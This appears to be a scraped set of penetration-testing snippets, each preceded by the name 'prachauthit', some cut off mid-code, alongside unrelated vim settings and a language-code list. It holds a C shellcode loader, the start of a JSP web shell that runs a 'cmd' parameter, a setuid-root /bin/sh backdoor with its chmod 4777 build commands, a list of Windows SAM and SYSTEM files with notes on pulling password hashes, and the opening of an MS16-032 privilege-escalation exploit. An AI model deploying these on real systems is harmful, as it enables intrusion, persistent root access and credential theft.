prachauthit

#include <sys/mman.h>
#include <string.h>
#include <stdio.h>
//paste your shellcode in sc variable eg. /x00/x00
char sc[]="" ;
int main(){
      void * a = mmap(0, 4096, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); 
      printf("allocated executable memory at: %p\n", a); 
      ((void (*)(void)) memcpy(a, sc, sizeof(sc)))();
}

prachauthit

!#/bin/bash
nikto -h example.com -Display V -F htm -output niktoscan.html

prachauthit

"git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim
set nu
syn on
filetype plugin indent on
autocmd Filetype python set et smarttab ts=4 sw=4 list lcs=tab:>-,trail:.,nbsp:_
set nocompatible              " be iMproved, required
filetype off                  " required
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
Plugin 'VundleVim/Vundle.vim'

prachauthit

'-'
'-'  invokeAllChecks.vbs
'-'
'-'  VBscript implementation of the Invoke-AllChecks function of PowerUp developed by @harmj0y
'-'  by: @ImAnEnabler
'-'  
'-'  In the environment I work, sc.exe is not allowed for non-admins, so I used WMI instead.
'-'  Save the vbs file and run with cscript:
'-'    cscript //nologo invokeAllChecks.vbs

prachauthit

%SYSTEMDRIVE%\boot.ini
%WINDIR%\win.ini	This is another file that can be counted on to be readable by all users of a system.
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM	Stores user passwords in either an LM hash and/or an NTLM hash format. The SAM file in \repair is locked, but can be retrieved using forensic or Volume Shadow copy methods.
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\RegBack\system	This is the SYSTEM registry hive. This file is needed to extract the user account password hashes from a Windows system. The SYSTEM file in \repair is locked, but can be retrieved using forensic or Volume Shadow copy methods.
%SYSTEMROOT%\repair\SAM 
%SYSTEMROOT%\System32\config\RegBack\SAM	These files store the LM and NTLM hashes for local users. Using Volume Shadow Copy or Ninja Copy you can retrieve these files.
%WINDIR%\repair\sam
%WINDIR%\repair\system

prachauthit

aa
ab
af
ak
sq
am
ar
an
hy
as

prachauthit

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;

prachauthit

gcc sh.c -o shell
chmod +x shell
chmod 4777 shell

prachauthit

#include <stdio.h>

int main()
{
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

prachauthit

function Invoke-MS16-032 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script.
    Modifications by Mike Benich (@benichmt1).
    
    Targets: